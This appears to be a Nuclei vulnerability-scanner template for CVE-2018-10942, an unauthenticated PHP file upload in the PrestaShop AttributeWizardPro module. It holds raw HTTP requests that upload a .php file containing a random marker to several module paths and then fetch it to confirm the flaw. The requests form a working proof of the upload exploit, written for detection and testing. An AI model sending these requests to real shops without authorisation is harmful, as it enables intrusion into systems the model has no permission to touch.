78 lines
2.4 KiB
YAML
78 lines
2.4 KiB
YAML
id: CVE-2018-10942
|
|
|
|
info:
|
|
name: Prestashop AttributeWizardPro Module - Arbitrary File Upload
|
|
author: MaStErChO
|
|
severity: critical
|
|
description: |
|
|
In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.
|
|
reference:
|
|
- https://webcache.googleusercontent.com/search?q=cache:y0TbS2LsRfoJ:www.vfocus.net/art/20160629/12773.html&hl=en&gl=en
|
|
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-10942
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2018-10942
|
|
cwe-id: CWE-434
|
|
epss-score: 0.18241
|
|
epss-percentile: 0.96178
|
|
cpe: cpe:2.3:a:attribute_wizard_project:attribute_wizard:1.6.9:*:*:*:*:prestashop:*:*
|
|
metadata:
|
|
max-request: 8
|
|
vendor: attribute_wizard_project
|
|
product: attribute_wizard
|
|
framework: prestashop
|
|
tags: prestashop,attributewizardpro,intrusive,file-upload,cve2018,cve,attribute_wizard_project
|
|
variables:
|
|
filename: '{{rand_base(7, "abc")}}'
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /modules/{{paths}}/file_upload.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
|
|
|
|
--ba1f796d0aa2482e9c51c81ae6087818
|
|
Content-Disposition: form-data; name="userfile"; filename="{{filename}}.php"
|
|
Content-Type: multipart/form-data
|
|
|
|
{{randstr}}
|
|
--ba1f796d0aa2482e9c51c81ae6087818--
|
|
|
|
- |
|
|
GET /modules/{{paths}}/file_uploads/{{file}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
payloads:
|
|
paths:
|
|
- 'attributewizardpro'
|
|
- '1attributewizardpro'
|
|
- 'attributewizardpro.OLD'
|
|
- 'attributewizardpro_x'
|
|
|
|
stop-at-first-match: true
|
|
host-redirects: true
|
|
max-redirects: 3
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- '{{filename}}'
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '{{randstr}}'
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: file
|
|
part: body_1
|
|
internal: true
|
|
group: 1
|
|
regex:
|
|
- '(.*?)\|\|\|\|'
|
|
# digest: 490a004630440220306be034b2c6b170199b07e94a79a0d21caeea7a68966b8044a4eb961bdcef07022008a3fe64accf4748a087aca163a0065561fa0c621c7a38123cbfbdcebb0acd9e:922c64590222798bb761d5b6d8e72950 |